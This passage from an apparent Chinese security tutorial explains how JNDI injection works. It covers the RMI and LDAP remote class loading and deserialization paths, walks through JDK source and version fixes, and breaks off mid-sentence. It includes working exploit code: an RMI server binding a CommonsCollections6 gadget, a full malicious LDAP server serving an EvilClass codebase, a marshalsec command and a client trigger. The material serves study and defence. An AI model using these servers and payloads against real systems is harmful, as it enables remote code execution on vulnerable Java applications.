1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 Reference ref = null ;if (refInfo instanceof Reference) { ref = (Reference) refInfo; } else if (refInfo instanceof Referenceable) { ref = ((Referenceable)(refInfo)).getReference(); } Object answer; if (ref != null ) { String f = ref.getFactoryClassName(); if (f != null ) { factory = getObjectFactoryFromReference(ref, f); if (factory != null ) { return factory.getObjectInstance(ref, name, nameCtx, environment); } return refInfo; } }
getObjectFactoryFromReference
首先会尝试从本地 classpath 中加载工厂类,如果加载失败则会将 Reference
的 factoryLocation
作为 codebase
从远程加载工厂类。如果成功加载则会将工厂类实例化并返回
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 static ObjectFactory getObjectFactoryFromReference ( Reference ref, String factoryName) throws IllegalAccessException, InstantiationException, MalformedURLException { Class<?> clas = null ; try { clas = helper.loadClass(factoryName); } catch (ClassNotFoundException e) { } String codebase; if (clas == null && (codebase = ref.getFactoryClassLocation()) != null ) { try { clas = helper.loadClass(factoryName, codebase); } catch (ClassNotFoundException e) { } } return (clas != null ) ? (ObjectFactory) clas.newInstance() : null ; }
NamingManager
中加载类使用的类加载器 helper
是通过 VersionHelper#getVersionHelper
函数设置的。
1 static final VersionHelper helper = VersionHelper.getVersionHelper();
getVersionHelper
函数返回的是一个 VersionHelper12
对象。
1 2 3 4 5 6 7 static { helper = new VersionHelper12 (); } public static VersionHelper getVersionHelper () { return helper; }
VersionHelper
和 VersionHelper12
属于 JNDI 内部工具类 (包名通常是 com.sun.naming.internal
),用于屏蔽不同 JDK 版本的差异 ,尤其是类加载 相关(TCCL、URLClassLoader、codebase 解析等)。
VersionHelper12
对象的 loadClass
方法实际上会通过 URLClassLoader
远程加载加载类。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 public Class<?> loadClass(String className, String codebase) throws ClassNotFoundException, MalformedURLException { ClassLoader parent = getContextClassLoader(); ClassLoader cl = URLClassLoader.newInstance(getUrlArray(codebase), parent); return loadClass(className, cl); } Class<?> loadClass(String className, ClassLoader cl) throws ClassNotFoundException { Class<?> cls = Class.forName(className, true , cl); return cls; }
JDK 8u121、7u131、6u141 开始增加了 com.sun.jndi.rmi.object.trustURLCodebase
选项,默认为 false
,禁止 RMI 和 CORBA 协议使用远程 codebase
的选项。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 public static final boolean trustURLCodebase;static { PrivilegedAction<String> act = () -> System.getProperty( "com.sun.jndi.cosnaming.object.trustURLCodebase" , "false" ); String trust = AccessController.doPrivileged(act); trustURLCodebase = "true" .equalsIgnoreCase(trust); }
新版本在 decodeObject
添加了 trustURLCodebase
判断:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 Object obj = (r instanceof RemoteReference) ? ((RemoteReference) r).getReference() : (Object) r; Reference ref = null ;if (obj instanceof Reference) { ref = (Reference) obj; } else if (obj instanceof Referenceable) { ref = ((Referenceable) obj).getReference(); } if (ref != null && ref.getFactoryClassLocation() != null && !trustURLCodebase) { throw new ConfigurationException ( "The object factory is untrusted. Set the system property" + " 'com.sun.jndi.rmi.object.trustURLCodebase' to 'true'." ); } return NamingManager.getObjectInstance(obj, name, this , environment);
远程加载工厂类会有如下报错,因此 RMI 和 CORBA 在以上的 JDK 版本上已经无法触发该漏洞。
1 2 3 4 5 6 Exception in thread "main" javax.naming.ConfigurationException: The object factory is untrusted. Set the system property 'com.sun.jndi.rmi.object.trustURLCodebase' to 'true'. at com.sun.jndi.rmi.registry.RegistryContext.decodeObject(RegistryContext.java:495) at com.sun.jndi.rmi.registry.RegistryContext.lookup(RegistryContext.java:138) at com.sun.jndi.toolkit.url.GenericURLContext.lookup(GenericURLContext.java:205) at javax.naming.InitialContext.lookup(InitialContext.java:417) at org.example.Client.main(Client.java:10)
反序列化(无限制) 这个方法其实本质上就是 RMI 中反序列化攻击客户端的情况。
sequenceDiagram
autonumber
%% ── 客户端侧 ──
box rgb(230,242,255) 客户端(进程)
participant App as Client 应用 💻
participant IC as InitialContext
participant GUC as GenericURLContext
participant RC as RegistryContext
participant RegStub as RegistryImpl_Stub(客户端存根)
end
%% ── 服务端侧(RMI 注册中心) ──
box rgb(232,245,233) RMI 注册中心(服务端)
participant Skel as RegistryImpl_Skel / Skeleton
participant Impl as RegistryImpl(bindings)
end
%% 1) JNDI 解析到 RMI Registry
App->>IC: lookup("rmi://localhost:1099/exploit") 🔍
IC->>GUC: 解析 rmi: URL
GUC->>RC: RegistryContext.lookup(Name)
%% 2) 客户端发起 RMI 调用:RegistryImpl_Stub#lookup
RC->>RegStub: registry.lookup("exploit")(JRMP)📤
RegStub->>Skel: 远程调用 dispatch(op=lookup) 🌐
Skel->>Skel: 读取入参 name="exploit"(ObjectInput)
%% 3) 服务端查 bindings 并“原样序列化返回”
Skel->>Impl: server.lookup("exploit")
Impl->>Impl: obj = bindings.get("exploit")
Impl-->>Skel: 返回 obj
note right of Skel: 直接 writeObject(obj) 回传(无任何过滤)
Skel-->>RegStub: 返回字节流(包含 obj 的序列化)📦
%% 4) 客户端反序列化返回值 —— 触发利用点
RegStub->>RegStub: ObjectInputStream.readObject() (恶意代码已执行)⚠️
note right of RegStub: 💥 反序列化触发链(示例): HashMap.readObject → TiedMapEntry.hashCode → LazyMap.get → ChainedTransformer → InvokerTransformer → Method.invoke → Runtime.exec
将服务器端改成下面这种实现,即我们在注册中心添加的是反序列化对象,而不是 ReferenceWrapper
包裹的 Reference
类。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 import java.lang.annotation.Retention;import java.lang.reflect.Constructor;import java.lang.reflect.InvocationHandler;import java.lang.reflect.Proxy;import java.rmi.Remote;import java.rmi.registry.LocateRegistry;import java.util.HashMap;import java.util.Map;public class RMIServer { public static void main (String[] args) throws Exception { HashMap hashMap = new HashMap <>(); hashMap.put("sky123" , CommonsCollections6.getObject("calc" )); Class<?> clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler" ); Constructor<?> construct = clazz.getDeclaredConstructor(Class.class, Map.class); construct.setAccessible(true ); InvocationHandler handler = (InvocationHandler) construct.newInstance(Retention.class, hashMap); Remote remoteObject = (Remote) Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), new Class []{Remote.class}, handler); LocateRegistry.createRegistry(1099 ).rebind("exploit" , remoteObject); Thread.currentThread().join(); } }
调用栈如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 at java.lang.Runtime.exec(Runtime.java:320) at sun.reflect.NativeMethodAccessorImpl.invoke0(NativeMethodAccessorImpl.java:-1) at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:62) at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43) at java.lang.reflect.Method.invoke(Method.java:498) at org.apache.commons.collections.functors.InvokerTransformer.transform(InvokerTransformer.java:126) at org.apache.commons.collections.functors.ChainedTransformer.transform(ChainedTransformer.java:123) at org.apache.commons.collections.map.LazyMap.get(LazyMap.java:158) at org.apache.commons.collections.keyvalue.TiedMapEntry.getValue(TiedMapEntry.java:74) at org.apache.commons.collections.keyvalue.TiedMapEntry.hashCode(TiedMapEntry.java:121) at java.util.HashMap.hash(HashMap.java:340) at java.util.HashMap.readObject(HashMap.java:1419) at sun.reflect.NativeMethodAccessorImpl.invoke0(NativeMethodAccessorImpl.java:-1) at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:62) at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43) at java.lang.reflect.Method.invoke(Method.java:498) at java.io.ObjectStreamClass.invokeReadObject(ObjectStreamClass.java:1184) at java.io.ObjectInputStream.readSerialData(ObjectInputStream.java:2322) at java.io.ObjectInputStream.readOrdinaryObject(ObjectInputStream.java:2213) at java.io.ObjectInputStream.readObject0(ObjectInputStream.java:1669) at java.io.ObjectInputStream.readObject(ObjectInputStream.java:503) at java.io.ObjectInputStream.readObject(ObjectInputStream.java:461) at java.util.HashMap.readObject(HashMap.java:1418) at sun.reflect.NativeMethodAccessorImpl.invoke0(NativeMethodAccessorImpl.java:-1) at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:62) at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43) at java.lang.reflect.Method.invoke(Method.java:498) at java.io.ObjectStreamClass.invokeReadObject(ObjectStreamClass.java:1184) at java.io.ObjectInputStream.readSerialData(ObjectInputStream.java:2322) at java.io.ObjectInputStream.readOrdinaryObject(ObjectInputStream.java:2213) at java.io.ObjectInputStream.readObject0(ObjectInputStream.java:1669) at java.io.ObjectInputStream.access$800(ObjectInputStream.java:217) at java.io.ObjectInputStream$GetFieldImpl.readFields(ObjectInputStream.java:2603) at java.io.ObjectInputStream.readFields(ObjectInputStream.java:673) at sun.reflect.annotation.AnnotationInvocationHandler.readObject(AnnotationInvocationHandler.java:429) at sun.reflect.NativeMethodAccessorImpl.invoke0(NativeMethodAccessorImpl.java:-1) at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:62) at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43) at java.lang.reflect.Method.invoke(Method.java:498) at java.io.ObjectStreamClass.invokeReadObject(ObjectStreamClass.java:1184) at java.io.ObjectInputStream.readSerialData(ObjectInputStream.java:2322) at java.io.ObjectInputStream.readOrdinaryObject(ObjectInputStream.java:2213) at java.io.ObjectInputStream.readObject0(ObjectInputStream.java:1669) at java.io.ObjectInputStream.defaultReadFields(ObjectInputStream.java:2431) at java.io.ObjectInputStream.readSerialData(ObjectInputStream.java:2355) at java.io.ObjectInputStream.readOrdinaryObject(ObjectInputStream.java:2213) at java.io.ObjectInputStream.readObject0(ObjectInputStream.java:1669) at java.io.ObjectInputStream.readObject(ObjectInputStream.java:503) at java.io.ObjectInputStream.readObject(ObjectInputStream.java:461) at sun.rmi.registry.RegistryImpl_Stub.lookup(RegistryImpl_Stub.java:127) at com.sun.jndi.rmi.registry.RegistryContext.lookup(RegistryContext.java:132) at com.sun.jndi.toolkit.url.GenericURLContext.lookup(GenericURLContext.java:218) at javax.naming.InitialContext.lookup(InitialContext.java:417) at org.example.Client.main(Client.java:11)
前面提到过 InitialContext
的 lookup
方法会调用到 RegistryContext#lookup
方法,而在该方法中会调用的 registry.lookup
实际上是 RegistryImpl_Stub#lookup
方法。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 public Object lookup (Name name) throws NamingException { if (name.isEmpty()) { return (new RegistryContext (this )); } Remote obj; try { obj = registry.lookup(name.get(0 )); } catch (NotBoundException e) { throw (new NameNotFoundException (name.get(0 ))); } catch (RemoteException e) { throw (NamingException)wrapRemoteException(e).fillInStackTrace(); } return (decodeObject(obj, name.getPrefix(1 ))); }
而 RegistryImpl_Stub#lookup
会发起一次远程 RMI 调用查询远程对象,并将获取到的远程对象反序列化。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 public java.rmi.Remote lookup (java.lang.String $param_String_1) throws java.rmi.AccessException, java.rmi.NotBoundException, java.rmi.RemoteException { try { StreamRemoteCall call = (StreamRemoteCall)ref.newCall(this , operations, 2 , interfaceHash); try { java.io.ObjectOutput out = call.getOutputStream(); out.writeObject($param_String_1); } catch (java.io.IOException e) { throw new java .rmi.MarshalException("error marshalling arguments" , e); } ref.invoke(call); java.rmi.Remote $result; try { java.io.ObjectInput in = call.getInputStream(); $result = (java.rmi.Remote) in.readObject(); } catch (ClassCastException | IOException | ClassNotFoundException e) { call.discardPendingRefs(); throw new java .rmi.UnmarshalException("error unmarshalling return" , e); } finally { ref.done(call); } return $result; } catch (java.lang.RuntimeException e) { throw e; } catch (java.rmi.RemoteException e) { throw e; } catch (java.rmi.NotBoundException e) { throw e; } catch (java.lang.Exception e) { throw new java .rmi.UnexpectedException("undeclared checked exception" , e); } }
如果我们在注册中心注册远程对象的时候是直接使用 LocateRegistry.createRegistry(1099).bind
注册,那么注册中心会直接把我们要注册的远程对象放进 bindings
中。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 public void bind (String name, Remote obj) throws RemoteException, AlreadyBoundException, AccessException { synchronized (bindings) { Remote curr = bindings.get(name); if (curr != null ) { throw new AlreadyBoundException (name); } bindings.put(name, obj); } }
然后客户端 RegistryImpl_Stub#lookup
查询远程对象的时候,注册中心会调用到 RegistryImpl_Skel#dispatch
的 lookup
分支。这里会将本地调用 RegistryImpl#lookup
根据字符串 name
查询到的对象序列化发回。期间没有任何过滤检查。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 case 2 : { java.lang.String $param_String_1; try { ObjectInputStream in = (ObjectInputStream) call.getInputStream(); $param_String_1 = SharedSecrets.getJavaObjectInputStreamReadString().readString(in); } catch (ClassCastException | IOException e) { call.discardPendingRefs(); throw new java .rmi.UnmarshalException("error unmarshalling arguments" , e); } finally { call.releaseInputStream(); } java.rmi.Remote $result = server.lookup($param_String_1); try { java.io.ObjectOutput out = call.getResultStream(true ); out.writeObject($result); } catch (java.io.IOException e) { throw new java .rmi.MarshalException("error marshalling return" , e); } break ; }
RegistryImpl#lookup
直接根据 name
参数从 bindings
中查询对应的对象返回。因此这里序列化返回的是我们注册到注册中心的序列化对象。
正常情况下我们在注册中心注册的普通远程对象应当是对象本身的一个动态代理,这是因为我们在定义远程对象的时候会使用 exportObject
导出。但是这里我们是直接将一个反序列化对象注册到了注册中心,因此客户端 lookup
查询到的就是我们注册的反序列化对象。
1 2 3 4 5 6 7 8 9 10 11 public Remote lookup (String name) throws RemoteException, NotBoundException { synchronized (bindings) { Remote obj = bindings.get(name); if (obj == null ) { throw new NotBoundException (name); } return obj; } }
JNDI-LDAP LDAP(Lightweight Directory Access Protocol) 是一种访问“目录服务”的网络协议,也就是“专门用来查找信息的大号电话簿服务器”。它不存文件、不跑网站,只做一件事:像个高性能、只读为主的树状数据库,供你快速“查人、查设备、查对象信息”。
LDAP 内部维护一个目录信息树(Directory Information Tree) ,整个目录就是一棵倒挂的树 ,每个条目 Entry 是一片“叶/节点”。例如:
1 2 3 4 5 6 7 8 dc=example,dc=com ← 根节点(命名上下文 / 后缀) ├── ou=people ← 一个组织单位(组织结构) │ ├── uid=alice ← Alice 用户 │ └── uid=bob ← Bob 用户 ├── ou=groups ← 一组用户组 │ └── cn=adminGroup ← 管理员组 └── ou=devices ← 一组设备 └── cn=printer01
整棵树是分层有序 的结构(像文件系统,但主要用于查而非存 ),树的根(后缀、命名上下文)常见是域名拆分:dc=example,dc=com
。
每个条目(Entry)都有:
DN(Distinguished Name) :它的“完整地址路径”,例如:
1 uid=alice,ou=people,dc=example,dc=com
属性(Attributes) :以键值对形式保存的信息,例如前面 DN 的例子对应的属性可以是:
1 2 3 4 cn=Alice Smith sn=Smith mail=alice@example.com objectClass=inetOrgPerson
远程类加载(11.0.1、8u191、7u201、6u211 前) 如果在自建的 LDAP 服务器在返回的条目里塞了Java 扩展属性 :
objectClass: javaNamingReference
javaFactory: EvilClass
javaCodeBase: http://localhost:8000/
Java 的 JNDI-LDAP 提供者 看到这些,会按 “Reference 分支” 去“还原对象 ”:
本地能找到 EvilClass
工厂类 → 直接执行
找不到且 允许远程 codebase → 去 javaCodeBase
下载类并执行
LDAP 在这里就是运输载体 :把一条“带特殊属性的条目”送给 JNDI,JNDI 再按规则把它当作 Java 对象处理。因此这里本质上还是通过 JNDI 的 References 机制来远程加载类。
为了完成 JNDI+LDAP 的攻击,我们需要搭建一个简易的 LDAP 服务器。
com.unboundid.*
是 UnboundID LDAP SDK :一个纯 Java 实现的 LDAP 客户端 + 服务器库 ,由原 Sun Directory Server 团队开发,支持嵌入式 LDAP 服务器 。
1 2 3 4 5 <dependency > <groupId > com.unboundid</groupId > <artifactId > unboundid-ldapsdk</artifactId > <version > 4.0.11</version > </dependency >
借助 com.unboundid
我们可以开发一个简易的 LDAP 服务器来响应客户端的 LDAP 请求并返回固定结果:
用 InMemoryDirectoryServer
起了一个轻量 LDAP 服务(监听 0.0.0.0:1389
)
用 InMemoryOperationInterceptor
拦截所有 search
请求
不管客户端查啥 DN,统一返回一条“假的 LDAP 条目”,内容如下:
1 2 3 4 dn: dc=example,dc=com objectClass: javaNamingReference javaFactory: EvilClass javaCodeBase: http://localhost:8000/
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 import com.unboundid.ldap.listener.*;import com.unboundid.ldap.listener.interceptor.*;import com.unboundid.ldap.sdk.*;import javax.net.ServerSocketFactory;import javax.net.SocketFactory;import javax.net.ssl.SSLSocketFactory;import java.net.InetAddress;public class LDAPServer { private static final String BASE = "dc=example,dc=com" ; private static final String CODEBASE = "http://localhost:8000/" ; private static final String FACTORY = "EvilClass" ; private static final int PORT = 1389 ; public static void main (String[] args) throws Exception { InMemoryDirectoryServerConfig cfg = new InMemoryDirectoryServerConfig (BASE); cfg.setListenerConfigs( new InMemoryListenerConfig ( "v4" , InetAddress.getByName("0.0.0.0" ), PORT, ServerSocketFactory.getDefault(), SocketFactory.getDefault(), (SSLSocketFactory) SSLSocketFactory.getDefault() ) ); cfg.addInMemoryOperationInterceptor(new RefInterceptor (CODEBASE, FACTORY)); InMemoryDirectoryServer ds = new InMemoryDirectoryServer (cfg); System.out.println("[*] LDAP listening on 0.0.0.0:" + PORT); ds.startListening(); } static class RefInterceptor extends InMemoryOperationInterceptor { private final Entry entry; RefInterceptor(String codebase, String factory) { this .entry = new Entry (BASE); entry.addAttribute("objectClass" , "javaNamingReference" ); entry.addAttribute("javaClassName" , "java.lang.Object" ); entry.addAttribute("javaFactory" , factory); entry.addAttribute("javaCodeBase" , codebase); } @Override public void processSearchResult (InMemoryInterceptedSearchResult result) { try { result.sendSearchEntry(entry); result.setResult(new LDAPResult (0 , ResultCode.SUCCESS)); } catch (Exception ex) { ex.printStackTrace(); } } } }
除了自己实现 LDAP 服务器外,我们还可以借助 marshalsec 来开启一个 LDAP 服务。
首先运行 mvn clean package -DskipTests
将项目打包为 jar 包,项目会多出一个 target 目录,进入可以看到生成的 jar 包。
开启ldap服务:
1 java -cp .\marshalsec-0 .0 .3 -SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://127 .0 .0 .1 :8000 /#EvilClass 1389
这样客户端的通过 JNDI 访问 ldap://localhost:1389/exploit
(后面的字符串 exploit
可以任意指定)时会得到我们的恶意 JNDI 服务器的固定返回结果。
从 HTTP 上下载 EvilClass.class
实例化它(它实现了 ObjectFactory
)
触发恶意代码(比如弹计算器)
1 2 3 4 5 6 7 8 9 import javax.naming.Context;import javax.naming.InitialContext;public class Client { public static void main (String[] args) throws Exception { Context ctx = new InitialContext (); Object obj = ctx.lookup("ldap://localhost:1389/exploit" ); } }
sequenceDiagram
autonumber
%% ── 客户端(本机进程) ──
box rgb(230,242,255) 客户端(进程)
participant App as Client 应用 💻
participant IC as InitialContext
participant LURL as ldapURLContext
participant LCtx as LdapCtx
participant OBJ as Obj.decodeObject 解码器
participant DM as DirectoryManager 🧠
participant NM as NamingManager
participant VH as VersionHelper / URLClassLoader 📚
end
%% ── 目录服务(远端) ──
box rgb(232,245,233) LDAP 服务器
participant LDAP as InMemoryDirectoryServer / LDAP
end
%% ── 代码库(远端) ──
box rgb(255,243,224) 代码库服务器
participant HTTP as HTTP Codebase 🌐
end
%% 1) JNDI 访问 LDAP
App->>IC: lookup(ldap://localhost:1389/exploit) 🔍
IC->>LURL: 选择 LDAP 提供者
LURL->>LCtx: c_lookup(Name)
%% 2) LDAP 返回“Java 扩展属性”条目
LCtx->>LDAP: search base=exploit scope=OBJECT filter=(objectClass=*)
LDAP-->>LCtx: 返回条目:javaNamingReference / javaFactory=EvilClass / javaCodeBase=http://localhost:8000/ 📄
%% 3) 解码为 Reference
LCtx->>OBJ: decodeObject(attrs)
OBJ-->>LCtx: Reference(factory=EvilClass, codebase=http://localhost:8000/) 🗂️
%% 4) 进入对象工厂分支(DirectoryManager → NamingManager)
LCtx->>DM: getObjectInstance(ref, name, ctx, env, attrs)
DM->>NM: getObjectFactoryFromReference(ref, EvilClass)
%% 5) 远程 codebase 加载分支(体现 8u191 修复)
note over NM,VH: 读取 com.sun.jndi.ldap.object.trustURLCodebase(8u191+ 默认 false)🔧
alt 允许远程 codebase(8u191 之前 或 -D...=true)🔓
NM->>VH: loadClass(EvilClass, http://localhost:8000/) 📥
VH->>HTTP: GET /EvilClass.class 🌐
HTTP-->>VH: 200 OK(class 字节)📦
VH-->>NM: Class EvilClass
note right of NM: 💥 类加载触发 clinit 静态初始化(如 Runtime.exec)
NM-->>DM: (可继续实例化并进入工厂逻辑)返回
DM-->>App: 返回结果 ✅
else 禁止远程 codebase(8u191+ 未开启)🔒
NM->>VH: loadClass(EvilClass, http://localhost:8000/)
VH-->>NM: 拒绝远程加载(null/失败)
NM-->>DM: 回退路径:尝试本地 classpath 或按规范返回 refInfo
DM-->>App: 回退结果 ⚠️
end
调用堆栈如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 at java.lang.Runtime.exec(Runtime.java:347) at EvilClass.<clinit>(EvilClass.java:4) at java.lang.Class.forName0(Class.java:-1) at java.lang.Class.forName(Class.java:348) at com.sun.naming.internal.VersionHelper12.loadClass(VersionHelper12.java:72) at com.sun.naming.internal.VersionHelper12.loadClass(VersionHelper12.java:87) at javax.naming.spi.NamingManager.getObjectFactoryFromReference(NamingManager.java:158) at javax.naming.spi.DirectoryManager.getObjectInstance(DirectoryManager.java:189) at com.sun.jndi.ldap.LdapCtx.c_lookup(LdapCtx.java:1085) at com.sun.jndi.toolkit.ctx.ComponentContext.p_lookup(ComponentContext.java:542) at com.sun.jndi.toolkit.ctx.PartialCompositeContext.lookup(PartialCompositeContext.java:177) at com.sun.jndi.toolkit.url.GenericURLContext.lookup(GenericURLContext.java:205) at com.sun.jndi.url.ldap.ldapURLContext.lookup(ldapURLContext.java:94) at javax.naming.InitialContext.lookup(InitialContext.java:417) at org.example.Client.main(Client.java:9)
new InitialContext().lookup("ldap://localhost:1389/exploit")
表示的是 JNDI 按 URL 前缀选择 LDAP 提供者 → 对 LDAP 服务器发起一次“BASE/OBJECT”搜索 (只查这个 DN,对应 URL 末尾的那段)
之后服务器把一个条目(Entry) 回给 JNDI,JNDI 再尝试把这个条目还原成 Java 对象 。
整个过程的核心逻辑位于 LdapCtx#c_lookup
函数:
首先 doSearchOnce(name, "(objectClass=*)", cons, true)
向 LDAP 服务器发起一次搜索,这里我们的恶意服务器会返回一个包含恶意类的 References
的 entry
。
如果条目中 javaClassName
属性不为空,则会调用 Obj.decodeObject
解析得到 Reference
对象。
DirectoryManager.getObjectInstance
会根据我们的解析得到 Reference
对象加载 javaCodeBase
对应的 URL 下的 javaFactory
属性指定的工厂类。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 protected Object c_lookup (Name name, Continuation cont) throws NamingException { cont.setError(this , name); Object obj = null ; Attributes attrs; try { SearchControls cons = new SearchControls (); cons.setSearchScope(SearchControls.OBJECT_SCOPE); cons.setReturningAttributes(null ); cons.setReturningObjFlag(true ); LdapResult answer = doSearchOnce(name, "(objectClass=*)" , cons, true ); respCtls = answer.resControls; if (answer.status != LdapClient.LDAP_SUCCESS) { processReturnCode(answer, name); } if (answer.entries == null || answer.entries.size() != 1 ) { attrs = new BasicAttributes (LdapClient.caseIgnore); } else { LdapEntry entry = answer.entries.elementAt(0 ); attrs = entry.attributes; Vector<Control> entryCtls = entry.respCtls; if (entryCtls != null ) { appendVector(respCtls, entryCtls); } } if (attrs.get(Obj.JAVA_ATTRIBUTES[Obj.CLASSNAME]) != null ) { obj = Obj.decodeObject(attrs); } if (obj == null ) { obj = new LdapCtx (this , fullyQualifiedName(name)); } } catch (LdapReferralException e) { if (handleReferrals == LdapClient.LDAP_REF_THROW) throw cont.fillInException(e); while (true ) { LdapReferralContext refCtx = (LdapReferralContext) e.getReferralContext(envprops, bindCtls); try { return refCtx.lookup(name); } catch (LdapReferralException re) { e = re; continue ; } finally { refCtx.close(); } } } catch (NamingException e) { throw cont.fillInException(e); } try { return DirectoryManager.getObjectInstance(obj, name, this , envprops, attrs); } catch (NamingException e) { throw cont.fillInException(e); } catch (Exception e) { NamingException e2 = new NamingException ( "problem generating object using object factory" ); e2.setRootCause(e); throw cont.fillInException(e2); } }
decodeObject
是 com.sun.jndi.ldap.Obj
类中的一个静态方法,用于从 LDAP 的属性集合中“解码”出一个 Java 对象。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 static Object decodeObject (Attributes attrs) throws NamingException { Attribute attr; String[] codebases = getCodebases(attrs.get(JAVA_ATTRIBUTES[CODEBASE])); try { if ((attr = attrs.get(JAVA_ATTRIBUTES[SERIALIZED_DATA])) != null ) { ClassLoader cl = helper.getURLClassLoader(codebases); return deserializeObject((byte []) attr.get(), cl); } else if ((attr = attrs.get(JAVA_ATTRIBUTES[REMOTE_LOC])) != null ) { return decodeRmiObject( (String) attrs.get(JAVA_ATTRIBUTES[CLASSNAME]).get(), (String) attr.get(), codebases); } attr = attrs.get(JAVA_ATTRIBUTES[OBJECT_CLASS]); if (attr != null && (attr.contains(JAVA_OBJECT_CLASSES[REF_OBJECT]) || attr.contains(JAVA_OBJECT_CLASSES_LOWER[REF_OBJECT]))) { return decodeReference(attrs, codebases); } return null ; } catch (IOException e) { NamingException ne = new NamingException (); ne.setRootCause(e); throw ne; } }
decodeObject
主要有三个分支:
javaSerializedData
分支 :若条目包含序列化字节属性 javaSerializedData
则将其反序列化,这也是后面要介绍的 JNDI-LDAP 的反序列化做法。
javaRemoteLocation
分支 :如果条目包含远程位置属性 javaRemoteLocation
,走旧的 RMI 对象解码逻辑。例如我们的 LDAP 的 entry
构造成下面这种形式:
1 2 3 4 this .entry = new Entry (BASE);entry.addAttribute("objectClass" , "javaObject" ); entry.addAttribute("javaClassName" , "java.lang.Object" ); entry.addAttribute("javaRemoteLocation" , "rmi://127.0.0.1:1099/exploit" );
则会构造并返回一个 Reference
对象,其中的 rmiName
被设置为 rmi://127.0.0.1:1099/exploit
,也就是 entry
的 javaRemoteLocation
属性。之后会根据 rmiName
执行 JNDI-RMI 的远程加载类的操作:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 at com.sun.jndi.rmi.registry.RegistryContext.lookup(RegistryContext.java:132) at com.sun.jndi.toolkit.url.GenericURLContext.lookup(GenericURLContext.java:205) at com.sun.jndi.url.rmi.rmiURLContextFactory.getUsingURL(rmiURLContextFactory.java:71) at com.sun.jndi.url.rmi.rmiURLContextFactory.getObjectInstance(rmiURLContextFactory.java:56) at javax.naming.spi.NamingManager.getURLObject(NamingManager.java:601) at javax.naming.spi.NamingManager.processURL(NamingManager.java:381) at javax.naming.spi.NamingManager.processURLAddrs(NamingManager.java:361) at javax.naming.spi.DirectoryManager.getObjectInstance(DirectoryManager.java:207) at com.sun.jndi.ldap.LdapCtx.c_lookup(LdapCtx.java:1085) at com.sun.jndi.toolkit.ctx.ComponentContext.p_lookup(ComponentContext.java:542) at com.sun.jndi.toolkit.ctx.PartialCompositeContext.lookup(PartialCompositeContext.java:177) at com.sun.jndi.toolkit.url.GenericURLContext.lookup(GenericURLContext.java:205) at com.sun.jndi.url.ldap.ldapURLContext.lookup(ldapURLContext.java:94) at javax.naming.InitialContext.lookup(InitialContext.java:417) at org.example.Client.main(Client.java:9)
逻辑跟前面的 JNDI-RMI 的一致(等价于 (new InitialContext()).lookup("rmi://localhost:1099/exploit");
),既可以用远程类加载也可以用反序列化,因此比较鸡肋。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 private static Object decodeRmiObject (String className, String rmiName, String[] codebases) throws NamingException { return new Reference (className, new StringRefAddr ("URL" , rmiName)); } return decodeRmiObject( (String) attrs.get(JAVA_ATTRIBUTES[CLASSNAME]).get(), (String) attr.get(), codebases);
javaNamingReference
分支 :如果 objectClass
属性的值设置为 javaNamingReference
则调用 decodeReference
构造 Reference
对象。
decodeReference
会根据 javaClassName
、javaFactory
和 javaCodeBase
构造一个 Reference
